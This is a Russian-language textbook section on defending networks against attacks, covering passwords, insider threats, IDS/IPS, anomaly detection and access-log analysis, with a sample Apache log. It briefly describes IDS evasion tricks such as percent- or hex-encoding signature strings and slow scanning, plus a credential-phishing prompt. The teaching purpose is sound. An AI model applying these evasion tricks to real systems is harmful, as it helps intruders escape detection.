previous up next index search
Previous: 6.3.1 Обзор уязвимостей, некоторых видов атак и средств защиты    UP: 6.3 Система Firewall
    Next: 6.3.3 Атаки из перечня сигнатур BlackIce Defender

6.3.2 Средства противодействия атакам

Семенов Ю.А. (ИТЭФ-МФТИ)
Yu. Semenov (ITEP-MIPT)

Авторизация и аутентификация
Защита от инсайдеров
Intrusion Detection System (IDS - система детектирования вторжений)
Распознавание атак по аномальному поведению
Intrusion Protection System (IPS - система предотвращения вторжений) или IMS (Intrusion Management system).
Host Intrusion Protection System (HIPS - IPS отдельной машины)
Использование журнальных файлов при анализе вторжения
Методы противодействия вторжениям
Firewall
VLAN или VPN
Sandbox и Virtual Environment (виртуальная среда)
Honeypot и HoneyNet
Сетевая информация, которую полезно собирать
CAPTCHA
Antimalware
Противодействие атакам типа ARP spoofing и пр.
Методы противодействия утечкам информации
Оборона, базирующаяся на репутации, как компонент снижения рисков в Web 2.0
Фильтрация URL и анонимные прокси
Что следует делать, чтобы минимизировать угрозы?
Системы выявления уязвимостей
Удаление фальшивых программ безопасности
Угрозы социальных сетей
Распознавание авторов злонамеренных почтовых сообщений
"Отпечатки пальцев" для оборудования
"CD спасения" (Rescue СD)
Угрозы со стороны мобильного оборудования
Уголовные статьи о правонарушениях в Интернет (РФ)
Реагирование на инцидент, сопряженный с информационной безопасностью
Общий алгоритм действий при наступлении инцидента
Современные системы резервного копирования
Написание программ, минимизирующих угрозы
Системы восстановления после аварии или вторжения
Шифрование всего жесткого диска (FDE)
Меры защиты от DDoS-атак
Меры противодействия атакам
Вредоносные коды, несоздающие файлов на компьютере-жертве
Безопасность баз данных
Ссылки
Что делать, если вы атакованы?

Правила взаимодействия различных компонентов Интернет строго регламентированы действующими протоколами. А на средства противодействия вредоносным вторжениям таких правил или регламентаций нет. Это не удивительно, так как хакеры используют несовершенства протоколов или ошибки в системных или прикладных программах, чтобы вторгнуться в сеть, сервер или рабочую станцию. Или даже используют уловки социальной инженерии, чтобы заставить саму жертву нанести себе вред. Вторжение становится возможным часто потому, что разработчик программы в каких-то деталях отступил от общепринятых правил. Различные системы антивирусной защиты непрерывно совершенствуются, но эта гонка хакерами выигрывается. Хакеру, если он хочет, чтобы его программа обходила антивирусную защиту, требуется много меньше усилий, чем создателю антивируса, чтобы восстановить его эффективность. В последние годы число известных сигнатур сетевых атак росло экспоненциально и исчисляется уже десятками миллионов. (см. "Is antivirus getting worse? Anti-virus software is getting worse at detecting both known and new threats", Maria Korolov, January 19, 2017). Эксперты по безопасности считают, что хакеры мало-по-малу выигрывают эту борьбу.

Интересным направлением являются попытки создания систем искусственного иммунитета (см. первый пункт раздела "Ссылки" в конце данной статьи). К сожалению пока не удалось достигнуть сколько-нибудь заметного успеха в этом направлении. В какой-то мере это объясняется тем, что суть природных вирусов и компьютерных не имеют ничего общего.

Беда в том, что Интернет - это среда реального времени, а традиционные антивирусные средства, IDS/IPS - нет!

Еще несколько лет назад большинство клиентов были соединены с Интернет через провода или оптические волокна, при этом использовались Firewall, антивирус и антиспам. Сегодня каждый второй или даже каждый третий клиент использует iPhone, планшет или какое-то другое мобильное средство (BYOD), сплошь и рядом, лишенное средств сетевой защиты. Аналогичные проблемы возникают, когда сотрудники работают из дома со своей личной PC (Telework). Это ставит перед компаниями и частными лицами проблему интегрированной безопасности для работы в Интернет через мобильные и другие незащищенные каналы. Безопасности может способствовать разбиение сети на изолированные сегменты, предназначенные для работы отдельных групп, а также минимизация разрешенных сервисов и применение локальных Firewall.

Задача защиты сети от вредоносной агрессии усложняется. Особенно сложно становится выявить маршрут или точку вторжения вредоносного кода в вашу сеть, атакер обычно действует через прокси или через взломанную ранее машину (а то даже через цепочку взломанных машин). Представьте себе, что в корпоративной сети имеется 10000 машин, как можно выявить первоначальную точку заражения вредоносной программой? Диагностические средства для решения подобных задач только создаются и читатели могут принять участие в этих разработках.

Если вы не предпринимаете ничего для защиты своей сети или своей машины, вы являетесь благодатной мишенью для хакера.

Начинать надо с банальной вещи - корректного выбора и периодической смены паролей всеми без исключения сотрудниками. См. How to get people to use strong passwords. В среднем каждый пользователь использует 20 паролей и не все достаточно осмотрительны. Начинать нужно с осмотра рабочих мест. Ищите наклейки на дисплеях или маркерах, где записаны пароли. Этого не должно быть. Существуют специальные программы, которые проверяют качество пароля и напоминают всем пользователям о необходимости смены пароля, когда приходит время. Рекомендуется менять пароль каждые 3 месяца и не использовать один из последних паролей во всяком случае на глубину 10 вариантов (см. "5 million GMail accounts breached, and I was one of them", Richard Melick, September 10th, 2014).

Исследование более чем 1400 паролей (Carnegie Mellon University), содержащих 16 и более символов, показало, что если в пароле применены какие-то грамматические структуры, то такие пароли проще взломать. В частности пароль 'Andyhave3cats' лучше, чем 'Shehave3cats'. Если пароль содержит в себе несколько слов (без пробелов) и все эти слова существительные, такой пароль не более надежен, чем пароль из 5-6 случайных символов.

Смотри сайты:

Авторизация и аутентификация

Очень часто пользователи не различают авторизацию и аутентификацию (Account Logon), хотя эти две процедуры имеют разное назначение. Авторизация (процедура Logon/Logoff) требует ввода имени и пароля (см. "Account Logon" and "Logon/Logoff" Events in the Windows Security Log. Пароль и имя могут передаваться открытым текстом или зашифрованными. Рабочая станция может запрашивать аутентификацию от контроллера домена с использованием Kerberos. Аутентификация предполагает проверку идентификации клиента. Аутентификация может производиться не на том компьютере, где производится авторизация. Аутентификация может включать процедуру сертификации или проверку IP-адреса, откуда производится попытка аутентификации. Организовать проверку IP-адреса можно, поместив список разрешенных адресов в файл /etc/host_allow (ОС Linux).

Тип LogonОписание
2Интерактивный (с консоли)
3Сетевой (т.е.соединение с разделяемым ресурсом откуда-то через сеть)
4Batch (запуск задания по времени)
5Сервис (запуск сервиса)
10Удаленный интерактивный (терминальный сервис, использование удаленного компьютера в качестве услуги или удаленная помощь)

В последнее время (2012г) некоторые работодатели в США стали требовать от соискателей их пароли в социальных сетях (Password Protection Act of 2012 filed. Toni Bowers, 22 мая 2012). Это, впрочем, встретило противодействие законодателей.

Компания Apple получила патент на систему аутентификации, которая предполагает, что пользователь будет распознавать определенные графические образы. Например, когда на экране появляется мост в Сан Франциско, пользователь, чтобы получить доступ к устройству, должен ввести последние 4 цифры телефонного номера своего приятеля, который живет в этом городе. Apple планирует также использовать при аутентификации распознавание лица пользователя. Такая система распознавания использована в Android, но ее можно обмануть, предъявив фотографию владельца.

Пароли вошли в нашу жизнь достаточно глубоко. С помощью пароля можно получить доступ к нашему счету в банке, к медицинской карте, к персональным данным, фотографиям и т.д. Но мы не всегда достаточно ответственно относимся к выбору паролей. Следует иметь в виду, что замена буквы О на нуль или А на 1 и пр. не повышает прочность пароля. Использование одного и того же пароля для разных аккаунтов в разы понижает надежность защиты.

Защита от инсайдеров

Хотя наибольшие усилия тратятся для защиты от внешних атак, до 80% вреда наносится своими сотрудниками, партнерами и прикомандированными (инсайдеры), т.е. теми, кто имеет легальный доступ к машинам локальной сети непосредственно. Проблема усугубляется тем, что грубый досмотр за сотрудниками может нанести также заметный вред.

Многие меры защиты носят общий характер (пароли и политика безопасности), но существуют и специфические способы.

Прежде всего надо наладить контроль за информационными потоками внутри сети. Данные об усредненных значениях потоков должны храниться и быть всегда доступны администратору. Главная задача при этом заключается в выработке критериев детектирования критических ситуаций. Скажем, если каждым субботним утром из вашей сети уходит большой файл в какую-то страну, с которой у вас нет контактов, или по неизвестному адресу уходит большое число почтовых сообщений, это должно стать предметом немедленного расследования. Озабоченность должен вызывать и неожиданно быстрый рост журнальных файлов. Это может и не быть атакой, но мимо внимания администратора такой факт пройти не должен.

Должен вестись журнальный файл для всех сетевых событий, анализ журнального файла должен производиться программой, которая может автоматически уведомлять администратора о серьезных событиях.

Следует наладить контроль за доступом к критическим файлам (пароли, конфигурационные файлы, журнальные файлы, базы данных и т.д.). Для этой цели могут использоваться как коммерческие продукты, так и свои программы.

Нужно периодически сканировать серверы и саму сеть на наличие вредоносных, потенциально опасных и подозрительных файлов. Обычные антивирусные системы вполне приемлемы для этих целей.

Появление хакерского средства Khobe (см. раздел 6.3.1), которое позволяет обходить традиционные средства антивирусной защиты, делает борьбу против инсайдеров еще более актуальной.

Крайне полезны для выявления внутреннего врага и такие средства как Honeypot.

Крайне важно четко определить области ответственности и доступа для различных сотрудников (это относится к сфере политики безопасности - принцип RBAC - Role Base Access Control). Каждый сотрудник должен иметь минимально возможный уровень доступа. Упомяну и тривиальное соображение совершенствования системы управления доступом.

IDS (Intrusion Detection System)

Существует много методов обмануть IDS (система детектирования попыток вторжения), например, перегрузив ее. Некоторые IDS имеют механизмы улучшения эффективности и это может быть использовано хакером, например, многие IDS игнорируют параметры, передаваемые в запросе GET. Можно обмануть IDS, используя медленное сканирование. Существует известная сигнатура атаки, содержащая в себе определенную строку в URL-запросе. Если представить ее в альтернативной кодировке с использованием символов %, IDS эту строку не распознает. Настройка IDS должна выполняться с учетом реальных угроз конкретной сети. Полагаться на то, что сервис провайдер имеет свою систему IDS, ни в коем случае нельзя. Следует также учитывать, что поставляемые вместе с IDS программы анализа журнальных файлов, требуют хорошей настройки. Настройка IDS сильно зависит от используемой ОС. Одним из способов атак является шестнадцатеричное кодирование параметров HTTP-запросов или использование для этих целей уникодов. Идея атаки заключается в том, что дешифровка такого представления параметров может в определенных случаях производится некорректно, что открывает хакерам дополнительные возможности. Еще одним недостатком IDS являются ложные тревоги, которые при достаточно высокой частоте могут, в конце концов, притупить внимание администратора к реальным угрозам или при большом их числе перегрузить журнальный файл.


Следует также учесть, что на большом сервере или в Firewall генерируется до 50000 записей в сутки. "Ручной" просмотр такого объема данных не представляется реальным. Поэтому для этой цели нужно использовать специальные программы анализа журнальных файлов. Такие программы будут представлять результаты анализа в сжатой форме, а в особо важных случаях передавать администратору почтовое или IM-сообщение.

Для решения данной проблемы можно также привлечь технологию SIEM (Security Information & Event Management).

Следует иметь в виду, что возрастание входных пропускных способностей до уровня 100Гбит/c и выше делает системы IDS недостаточно эффективными несмотря на рост производительности современных машин. Проблема может быть решена на аппаратном уровне путем распараллеливания обработки входного информационного потока. Анализ сложных сигнатур атак может занимать достаточно много времени, а это приводит к большим задержкам отклика, что замедляет работу многих приложений. Задержка должна быть не более 100 мксек, но в некоторых случаях задержка достигает 167 секунд, что совершенно не приемлемо; см. Eight Questions To Ask About Your Intrusion-Security Solution. Получила распространение технология DPI (Deep Packet Inspection), которая позволяет анализировать не только заголовки пакетов, но и поле данных.

IDS дает данные для сетевого администратора, чтобы он, если сочтет нужным, предпринял определенные шаги. Иногда оказывается, что действия администратора уже запоздали. Исследования показывают, что запаздывание в 10 часов дает 80% для успеха хакера, а при 20 часах вероятность вторжения оказывается равной 95%, при 30 часах задержки - успех хакера гарантирован, каким бы искусным ни был администратор. При нулевой задержке реакции на подготовку атаки хороший администратор не оставляет никаких шансов хакеру (смотри all.net). Быстрая реакция на угрозу сокращает возможный ущерб не только для атакуемого объекта, но иногда и для всего Интернет-сообщества (может сократиться число пораженных сетевых объектов).


IDS представляет собой окно в сеть, которое позволяет администратору составить прогноз в отношении сетевой безопасности.

Распознавание атак по аномальному поведению

Распознавание атак по сигнатурам становится все более проблематичным. Во-первых, сигнатур становится настолько много (более 2 миллионов; в 1998 году их было ~1930), что их перебор начинает поглощать все более заметные ресурсы процессора. Во-вторых, многие вредоносные коды содержат в себе механизмы активной вариации сигнатуры. Кроме того, не следует забывать об атаках нулевого дня, которые несут в себе наибольшую угрозу. Альтернативой сигнатурному распознаванию является регистрация аномального поведения машины или всей локальной сети, которое может быть сопряжено с атакой или вторжением. (см. David Jacobs. Anomaly-based intrusion protection configuration and installation, а также Anomaly Detection of Webbased Attacks. Christopher Kruegel, Giovanni Vigna).

На первый взгляд метод представляется достаточно простым. Фиксируются усредненные значения статусных параметров системы, и любые статистически значимые отклонения от этих усредненных величин должны вызывать сигналы тревоги. Но это, как правило не так. Во-первых, статистические распределения большинства статусных параметров являются нестационарными. Во-вторых, система (машина или сеть) являются динамическими объектами, там могут запускаться и прекращаться некоторые вычислительные или обменные процессы, как внутри самой машины или сети, так и во вне.

По этим причинам в системе должна постоянно работать программа мониторинга всех процессов. Нужно знать перечень процессов, которые активны на ЭВМ. Кроме того, для каждого приложения должен быть сформирован профайл, где описываются характеристики всех режимов работы этого приложения. В это описание нужно включить, в том числе все объекты, с которыми приложение может обмениваться данными. Если появляются новые объекты, с которыми приложение собирается обмениваться информацией, их характеристики должны быть немедленно включены в профайл.

Для локальной сети с большим числом машин, такой мониторинг может представлять серьезную проблему. Чтобы облегчить задачу, сеть следует структурировать, разбивая ее на несколько VLAN. Особую проблему могут создавать виртуальные машины, которые следует мониторировать независимо.

Но в случае правильного конфигурирования и инсталляции системы детектирования атак по аномальному поведению достаточно эффективны. Именно за этой технологией будущее. Но считать, что сигнатурный анализ атак потерял актуальность, было бы не верно. Многие, особенно целевые атаки, начинаются с разведки - выявляется тип ОС, тип оборудования и особенности приложений. Такая разведка может быть без труда детектирована методами сигнатурного анализа.

При анализе аномальности должны учитываться индивидуальные особенности приложений. Например, в случае WEB-приложений нужно знать, могут ли использоваться параметры (атрибуты) в GET-запросах, какие методы HTTP разрешены, допустимы ли обращения к базам данных и т.д. Из всего многообразия параметров запросов обычно допустим ограниченный набор. Любые отклонения параметров запросов от разрешенных следует воспринимать как аномальность. В качестве мониторитуемых параметров могут рассматриваться длины запросов в байтах, число символов "/" в запросе, число запросов в секунду, наличие и характер параметров запросов (например, символьный набор: русский/латинский).

Детектирование сетевых атак по аномальности статусных параметров предполагает сначала определение того, что является нормой. Эта процедура называется обучением и предполагает определение математического ожидания параметра µ(среднее значение) и дисперсии σ2 для набора запросов q1, q2,...,qn. Значения µ и σ могут значительно варьироваться со временем.

Когда по завершении этапа обучения мы переходим к детектированию, то вероятность, например, получения запроса с длиной L может быть вычислена на основе неравенства Чебышева:

p(|x-µ| > t)< (σ2/t2)

Это неравенство определяет верхнюю границу вероятности того, что разность случайной величины х и µ превышает определенный порог t для произвольного распределения с дисперсией µ и средним значением µ.

Данное неравенство не зависит от характера распределения случайной величины х.

Вероятность получения длины запроса L вычисляется по формуле:

p(|x-µ| > |L-µ|) < p(L)=(σ2/(L-µ)2)

Для временных интервалов со стационарными статистическими распределениями можно использовать критерий Χ2, который позволяет количественно оценить вероятность полученного результата.

IPS (Intrusion Protection System) или IMS (Intrusion Management system).

Жесткие требования к времени реагирования на атаки повышают интерес к системам IPS (Intrusion Protection System) или IMS (Intrusion Management system). В сетевом контексте, можно считать, что такие системы комбинируют в себе свойства IDS и Firewall. В случае отдельной ЭВМ такая система мониторирует все системные и API-вызовы и блокирует те, которые могут нанести вред. Схема подключения IDS и IPS показана на рис. 1. Современные IPS способны работать в каналах с пропускной способностью 5-10 Гбит/c. Предполагается, что они должны препятствовать также проникновению троянских коней, червей, вирусов, spyware и DoS-атак. Важным параметром IPS является периодичность обновления сигнатурной базы данных (желательная частота ≥ 2 раза в неделю). Новейшие версии способны противостоять некоторым видам атак "нулевого дня". IPS безусловно более эффективное средство защиты по сравнению с Firewall.

В реальности современная сеть содержит многослойную систему защиты. Некоторые средства могут размещаться даже на уровне сетевого сервис-провайдера. Последним рубежом обороны является Firewall и антивирусная программа, размещенные на конкретной машине. Многие фирмы и университеты предлагают своим сотрудникам и студентам бесплатные антивирусные и другие программы сетевой защиты.

Рис. 1a. Схема фильтрации сетевых атак

Ниже представлена таблица для выбора типа IPS сети. Нужно иметь в виду, что такой выбор и тем более конфигурирование должен выполнять профессионал.

ОтДоОбоснование
Вас заботит безопасность периметра вашей сетиВы хотите защитить ядро вашей сети Чем ближе IPS к ядру вашей сети, тем важнее ее характеристики, управляемость и уровень избыточности. IPS, работающей на периферии сети не обязательно иметь те же ограничения, она может быть спроектирована для адекватного реагирования на различные экстраординарные ситуации (резкие скачки трафика или слишком большие задержки отклика).
Вы хотите защитить ваши серверыВы хотите защитить конечных пользователей (клиентов) вашей сети При защите серверов IPS может быть настроен на выявление определенного типа сервисов или приложений. Чтобы защитить клиентов, IPS должен анализировать входящий и, что важно - исходящий трафик, с целью предотвращения заражений и блокировки атак.
Вам нужна IPS-защита на основе сигнатурВы ищете IPS-защиту, базирующуюся на контроле скоростей обменов Когда для вас важны, прежде всего, DoS-атаки, архитектура устройства должна ориентироваться на контроль информационных потоков. Если же для вас важны атаки ваших уязвимостей и разведывательные операции, приемлемыми можно считать сигнатурные IPS.
Вы хотите защититься от определенных атак, таких как хакерские вторжения или вирусы.Вы больше заинтересованы в детектировании аномального поведения, такого как неожиданное резкое изменение активности сервера Хотя эти две возможности не являются единственными, большинство устройств IPS специализируются лишь в одной из указанных технологий или в обеих. Простые аномалии, такие как ошибки реализации протокола, детектируются обоими видами IPS.
Вы хотите иметь возможность детектировать атаки и иметь фактический материал, связанный с атакамиВам нужен IPS, для личных целей, но вы не заинтересованы в использовании его в качестве консоли безопасности или средства для анализа ситуации Когда IPS способен детектировать и предотвращать атаки, любое увеличение функциональности значительно изменяет архитектуру устройства и увеличивает его стоимость.
Вам нужен IPS для первичной защиты против атакеров и попыток вторженияВам нужен IPS для создания многоуровневой сетевой обороны Системы IPS, предназначенные для первичной защиты, обычно размещаются сразу за firewall, и могут быть способны закрыть доступ известным атакерам. Это увеличивает безопасность, но и создают угрозу понижения эффективности системы за счет дополнительной загрузки анализом соответствующих списков. Когда IPS является частью многоуровневой обороны, работа со списками типа ACL является избыточной.

Смотри Six Integral Steps to Selecting the Right IPS for Your Network. Статья посвящена способам правильного выбора IPS.

Появление APT-атак поставило новые проблемы перед IPS. Традиционные сигнатурные схемы противодействия атакам нулевого дня и APT неэффективны.

IPS следующего поколения должна отвечать следующим требованиям:

В результате IPS нового поколения должна иметь многослойную систему обороны.

HIPS (Host Intrusion Protection System)

В последнее время появилась система HIPS (Host Intrusion Protection System), которая ориентирована на защиту отдельного компьютера. Хотя IPS существуют уже несколько лет, применение их ограничено. Еще в 2005 году была предложена Ethernet плата с 32-битным PCI-интерфейсом, которая была способна выполнять функции IDS/IPS при потоке данных в 1Гбит/с (MTP-1G). Время обработки события занимает не более 400 нсек. (смотри Metanetworks Unveils Gigabit Intrusion Protection Device For Open-Source Security Apps).

Рис. 1b. Схема подключения IDS и IPS (IDS or IPS: what is best, Maria Papadaki and Steven Furnell, Network Security v2004, Issue 7, июль 2004, стр. 15-19)

Возможны и другие схемы подключения IDS/IPS.

Рис. 1c. (Real-Time Adaptive Security. A SANS Whitepaper)

IDS пригодна для того, чтобы понять, насколько ситуация тревожна и сформировать ACL. Для улучшения положения нужны дополнительные действия. Положение IDS на рынке услуг демонстрирует рис. 2, из него видно, что интерес к IDS становится ограниченным. (смотри также www.nwfusion.com/newsletters/frame/2003/1013wan2.html и www.nwfusion.com/reviews/2003/1013idsalert.html).

Рис. 2. Вариация числа используемых IDS по годам (та же статья, что и для рис. 1)

Так как IPS/IMS базируются на IDS, они наследуют все ее недостатки (нечувствительны к неизвестным сигнатурам атак, дают ложные тревоги и пр.). Эти системы блокируют лишь атаки, которые детектируются с высокой степенью достоверности. Кроме того они требуют тонкой настройки высоко квалифицированными администраторами. В случае отказа IPS (или успешной атаки) сеть или ЭВМ, которую она защищает, лишится доступа к внешней сети (см. рис. 2).

Так как беспроводные сети находят все более широкое применение, а безопасность таких каналов оставляет желать лучшего, возможен перехват трафика с помощью средств типа sniffer. Высокой безопасности можно не получить даже в случае применения VPN и двухфакторной аутентификации (SecurID). Для хакера такие объекты атаки привлекательны тем, что им не нужно устанавливать соединение с каким-либо объектом в локальной сети, не оставляя следов в FireWall или IDS. Обычный просмотр WEB-страниц может помочь украсть индивидуальные параметры. Пользователи корпоративной сети при работе с WEB-страницами (просмотр требует аутентификации) могут получить уведомление: "Your connection to the network has been lost - please reenter your username and password". Инициатором такого сообщения может быть злоумышленник, который рассчитывает получить ваши аутентификационные параметры. Беспроводные средства облегчают атаки и стационарных объектов. Клиент, купивший карту доступа, получает динамический адрес и его локализация и идентичность достаточно трудно установить. Существуют специальные средства для выявления приборов 802.11, например, Kismet или Air Defense (разновидность IDS). Но такие средства могут использоваться как во благо, так и во вред, они могут помочь обнаружить плохо сконфигурированные точки доступа. Для таких сетей особенно актуальна проблема однозначной идентификации пользователя, где бы он ни находился. Обычно портативные ЭВМ после включения пытаются установить соединение с известными им беспроводными точками подключения (их число может превышать сотню), атакер может сформировать точку доступа, имитирующую один из таких узлов, для установления соединения с данной ЭВМ и получения параметров доступа. В последнее время появились экраны, работающие по технологии стелз, способные экранировать радиоволны определенных частот. Это позволяет обезопасить беспроводные локальные сети, сохраняя работоспособность мобильных телефонов. Эта технология может помочь исключить интерференцию систем, работающих на идентичных частотах.

Если нет насущной потребности, следует дезактивировать вход USB на уровни BIOS. Заметной уязвимостью обладают все переносные ЭВМ. Человек, получивший к такой ЭВМ доступ, за несколько минут может установить новый пароль (с помощью загрузочного диска) и скопировать оттуда любую информацию или установить там троянского коня. Особую категорию составляют домашние ЭВМ. Многие компании одобряют работу своих сотрудников дома (экономится электричество, рабочее место и пр.), удобно это и работникам (экономится время в пути и бензин). При подключении к офисной сети предпринимаются достаточно серьезные меры безопасности, но эта же машина может использоваться детьми, подключающимися к самым разным сайтам, среди которых могут быть ЭВМ злоумышленников. При этом нет никакой гарантии, что в такую машину не попадет троянский конь или другая вредоносная программа. После же подключения в сети компании такая машина может стать источником угрозы для других ЭВМ локальной сети. Покидая рабочее место, целесообразно выйти из ОС (произвести процедуру Logoff), но все ли это делают? По этой причине после 30-60 сек пассивности, ЭВМ должна сама выполнить эту процедуру. Многие компании в случае успешной сетевой атаки скрывают этот факт, чтобы сохранить доверие клиентов. Это приводит к тому, что число жертв увеличивается (такой же атаке подвергаются другие, не предупрежденные об угрозе).

Сигнатуры современных атак могут быть достаточно изощренными. Это может быть не просто попытка установить соединение с определенным портом, а вполне определенная последовательность попыток соединений, приводящая к соединению. Это характерно для доступа к некоторым люкам, специально оставленным хакером в какой-то программе. Такая схема исключает детектирование окон уязвимости простым поиском открытых портов (так работают некоторые программы поиска вторжений). Подробности этой техники смотри по адресу www.portknocking.org.

Появились сообщения о разработки вредоносных кодов, написанных на JavaScript. В это трудно поверить, но если это так, масштаб сетевых угроз увеличивается весьма существенным образом. Ведь в этом случае не нужно ничего копировать с вредоносного сайта, достаточно туда заглянуть. Но по-прежнему главной уязвимостью остается неопытный и малообразованный пользователь.

Наибольшую угрозу представляют атаки с помощью программ, специально написанных для вторжения в конкретную ЭВМ или сеть. К сожалению, большинство разработчиков приложений не учитывает требования безопасности. Сертификация программ, как правило, не включает в себя аспект безопасности (попыток вторжения). Следует разделять уязвимости "врожденные" и специально созданные хакером. Эти два вида бывает трудно разделить, если вы покупаете нелегальное программное обеспечение. Хороший хакер готовит вторжение с тщательной разведки объекта атаки. Это не обязательно сканирование или попытки подбора пароля. Такую информацию хакер может получить из описаний разработанных на сервере-мишени программных продуктов (требования к ОС, версии и т.д.). Он может послать запросы на серверы Whois, посылая команды finger или почтовому серверу и пр. В отдельности такие запросы не говорят ни о чем. Но, если собирать статистику о клиентах сети (используемые запросы, ping, traceroute, сканирования определенных портов и т.д.), то по совокупности этих данных можно с приемлемой вероятностью прогнозировать угрозу.

При стратегическом планировании в сфере сетевой безопасности следует учитывать тенденцию в направлении распределенных систем и более широкого внедрения беспроводных систем. Оба эти фактора делают решение проблем значительно труднее.

По мнению экспертов в последнее время важной мишенью атак становятся приложения, особенно те, которые взаимодействуют или доступны через Интернет. На долю таких приложений приходится до 70% успешных сетевых атак (данные Gartner Group).

В последнее время атаки серверов становятся двухэтапными. Так как сервер обычно защищен лучше рабочей станции, сначала атакуется именно она (например, через e-mail или Explorer). А далее с рабочей станции предпринимается уже атака сервера. Собственна атака даже может быть не нужна, если на рабочую станцию в результате атаки был загружен троянский конь или spyware. Ведь эти коды позволяют перехватить пароль, когда он еще не зашифрован.

Никогда не выполняйте двойного кликанья на приложениях почты, если их расширения указывают на то, что это исполняемые файлы. Впрочем, расширения WinWord не гарантируют безопасности (там могут быть скрытые макросы). Определенную опасность могут представлять и файлы PostScript.

Анализ вторжений с помощью журнальных файлов

Журнальные файлы приложений служат для отладки программ и регистрации сетевых атак. К числу наиболее информативных журнальных файлов следует отнести, например, access_log (Apache), error_log или secure (sshd), а также журнальные файлы Firewall. Для ускорения анализа файлов типа access_log, которые могут иметь достаточно большой объем, можно провести предварительную фильтрацию вспомогательных запросов. Заметную долю запросов составляют запросы-роботы поисковых систем (например, запросы файла robots.txt). Разумеется хакер может маскироваться под поисковый робот, но это относительно маловероятно. Запрос конкретной страницы обычно вызывает серию запросов с методом GET, рисунков, формул и некоторых вспомогательных файлов типа .CSS, .ISO. Но нужно помнить, что удаление таких рекордов может скрыть и некоторые (впрочем, достаточно редкие) виды атак.

Гибкую систему управления доступом к файлам и каталогам на Apache-сервере предоставляет приложение htaccess.

Анализ журнальных файлов помогает также проверить корректность конфигурации и эффективность защиты.

Ниже представлена краткая выборка из файла access_log: (сервер http://book.itep.ru)

77.51.38.204 - [05/Jul/2009:11:34:08] "GET ///4/6/emv_45.htm HTTP/1.1" 200 94189 "http://book.itep.ru///1/intro1.htm" "Mozilla/4.5"
77.51.38.204 - [05/Jul/2009:11:51:40] "GET ////k_prev.gif HTTP/1.1" 200 1448 "http://book.itep.ru////4/4/rfc2858.htm" "Mozilla/4.5"
77.51.38.204 - [05/Jul/2009:12:18:05] "GET /////4/45/xmpp.htm HTTP/1.1" 200 161849 "http://book.itep.ru/////1/intro1.htm" "Mozilla/4.5"
77.51.38.204 - [05/Jul/2009:12:15:00] "GET /////2/25/mpeg_7.htm HTTP/1.1" 200 153129 "http://book.itep.ru/////1/intro1.htm" "Mozilla/4.5"
77.51.38.204 - [05/Jul/2009:12:21:11] "HEAD /////4/45/\x94http://home.cnet.com/category/topic/0,10000,0-3781-7-278365,00.html\x94 HTTP/1.1" 404 - "http://book.itep.ru/////4/45/icq.htm" "Mozilla/4.5"
77.51.38.204 - [05/Jul/2009:12:21:50] "GET //////k_prev.gif HTTP/1.1" 200 1448 "http://book.itep.ru//////4/4/rfc2858.htm" "Mozilla/4.5"
77.51.38.204 - [05/Jul/2009:16:11:08] "GET //////3/image91.gif HTTP/1.1" 200 1106 "http://book.itep.ru//////3/optic_32.htm" "Mozilla/4.5"
77.51.38.204 - [05/Jul/2009:16:19:16] "GET ///////4/44/m_polit.htm HTTP/1.1" 200 15223 "http://book.itep.ru///////4/4/rpsl.htm" "Mozilla/4.5"
77.51.38.204 - [05/Jul/2009:16:36:46] "GET ////////k_next.gif HTTP/1.1" 200 1332 "http://book.itep.ru////////4/4/rpsl.htm" "Mozilla/4.5"
77.51.38.204 - [05/Jul/2009:17:11:33] "GET ///////////4/4/rfc2858.htm HTTP/1.1" 200 18709 "http://book.itep.ru//////////4/4/rpsl.htm" "Mozilla/4.5"
77.51.38.204 - [05/Jul/2009:17:28:43] "GET ////////////4/4/rfc2858.htm HTTP/1.1" 200 18709 "http://book.itep.ru///////////4/4/rpsl.htm" "Mozilla/4.5"
77.51.38.204 - [05/Jul/2009:17:46:13] "GET /////////////4/4/rfc2858.htm HTTP/1.1" 200 18709 "http://book.itep.ru////////////4/4/rpsl.htm" "Mozilla/4.5"
77.51.38.204 - [05/Jul/2009:18:03:20] "GET //////////////4/4/rfc2858.htm HTTP/1.1" 200 18709 "http://book.itep.ru/////////////4/4/rpsl.htm" "Mozilla/4.5"
77.51.38.204 - [05/Jul/2009:18:20:32] "GET ///////////////4/4/rfc2858.htm HTTP/1.1" 200 18709 "http://book.itep.ru//////////////4/4/rpsl.htm" "Mozilla/4.5"
77.51.38.204 - [05/Jul/2009:18:37:51] "GET ////////////////4/4/rfc2858.htm HTTP/1.1" 200 18709 "http://book.itep.ru///////////////4/4/rpsl.htm" "Mozilla/4.5"
......
eth-179.34-homell.natm.ru - - [18/Mar/2011:00:05:08 +0300] "HEAD /////////////////////////////////////////////////////////////////4/44/m_polit.htm HTTP/1.0" 416 - "http://book.itep.ru/////////////////////////////////////////////////////////////////4/4/rpsl.htm" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
eth-179.34-homell.natm.ru - - [18/Mar/2011:00:05:08 +0300] "HEAD /////////////////////////////////////////////////////////////////4/44/m_polit.htm HTTP/1.0" 416 -
eth-179.34-homell.natm.ru - - [18/Mar/2011:00:05:09 +0300] "HEAD //////////////////////////////////////////////////////////////////4/4/rfc2858.htm HTTP/1.0" 416 - "http://book.itep.ru/////////////////////////////////////////////////////////////////4/4/rpsl.htm" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
eth-179.34-homell.natm.ru - - [18/Mar/2011:00:05:09 +0300] "HEAD //////////////////////////////////////////////////////////////////4/4/rfc2858.htm HTTP/1.0" 416 -
eth-179.34-homell.natm.ru - - [18/Mar/2011:00:05:12 +0300] "HEAD /////////////////////////////////////////////////////////////////4/44/btp_4410.htm HTTP/1.0" 416 - "http://book.itep.ru/////////////////////////////////////////////////////////////////4/44/rut_4411.htm" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" eth-179.34-homell.natm.ru - - [18/Mar/2011:00:05:12 +0300] "HEAD /////////////////////////////////////////////////////////////////4/44/btp_4410.htm HTTP/1.0" 416 -
eth-179.34-homell.natm.ru - - [18/Mar/2011:00:05:12 +0300] "HEAD /////////////////////////////////////////////////////////////////4/44/inter_44.htm HTTP/1.0" 416 - "http://book.itep.ru/////////////////////////////////////////////////////////////////4/44/rut_4411.htm" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" eth-179.34-homell.natm.ru - - [18/Mar/2011:00:05:12 +0300] "HEAD /////////////////////////////////////////////////////////////////4/44/inter_44.htm HTTP/1.0" 416 -
